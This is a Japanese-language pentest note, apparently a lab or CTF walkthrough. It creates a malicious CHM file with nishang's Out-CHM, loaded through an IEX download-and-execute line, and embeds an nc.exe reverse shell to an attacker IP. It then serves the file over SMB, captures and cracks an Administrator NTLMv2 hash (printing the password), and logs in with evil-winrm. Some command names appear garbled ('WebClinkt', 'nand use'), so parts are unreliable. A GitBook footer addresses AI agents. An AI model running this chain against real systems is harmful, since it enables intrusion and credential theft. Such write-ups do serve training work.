> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# ファイルアップロードと NTLMv2 の .chm 取得

ファイルアップロードと NTLMv2 の .chm 取得に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

**ディレクトリ「docs」の調査：**/ その **Windows** ルートで、次を見つけました： **docs** ファイルを含むフォルダー `note.txt` 以下のメッセージがありました：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> こんにちは、Chris、
>
> あなたのPHPスキルは本当にひどいです。Yamitenshiに連絡して、使い方を教えてもらい、そのあとサイトを修正してください。バグがたくさんあります。また、新しいアプリケーションのドキュメントを準備してくれていることも期待しています。終わったらここに置いてください。
>
> 敬具、/ Sniper CEO。 **システム内のドキュメント検索：**/ CEOが言及したドキュメントを探し、ディレクトリ **Downloads** 内のファイル **instructions.chm**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **悪意のあるCHMファイルの作成：**

CEOがファイルを確認したがっていることが分かった後 **CHM** ディレクトリ内で **docs**、悪意のあるCHMファイルの作成方法をオンラインで調べました。

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**HTML Helpツールのダウンロード：**/ 私たちはダウンロードしました **HTML Help** そしてPowerShellスクリプトを使って悪意のあるCHMファイルを作成しました

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

その後、リモートで悪意のあるコマンドを実行するようにスクリプトを変更しました **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**ターゲットディレクトリへの悪意のあるCHMファイルの注入：**/ 攻撃者マシン上にSMBサーバーを設定し、悪意のあるファイルをターゲットのWindowsマシンへ転送しました：

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**被害者マシンからのSMB共有への接続：**/ ターゲットのWindowsマシンからSMB共有をマウントし、悪意のあるファイルをコピーしました `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**リバースシェルのリスナーを起動：**/ 攻撃者マシンでリスナーを起動し、ログイン用リバースシェルを待機しています：

```bash
rlwrap nc -nlvp 443

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**発生した問題：**/ CHMファイルは開かれたものの、リバースシェルは得られませんでした。しかし、私たちは正常に次を取得しました： **SMB Relay V2** 私たちのサーバー上で。これにより、ユーザーのハッシュ認証情報が得られました `Administrator`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Administrator のハッシュのクラック：**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **管理者としての接続：**

取得した認証情報を使って、私たちは **Evil-WinRM** 管理者としてマシンに接続しました：

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
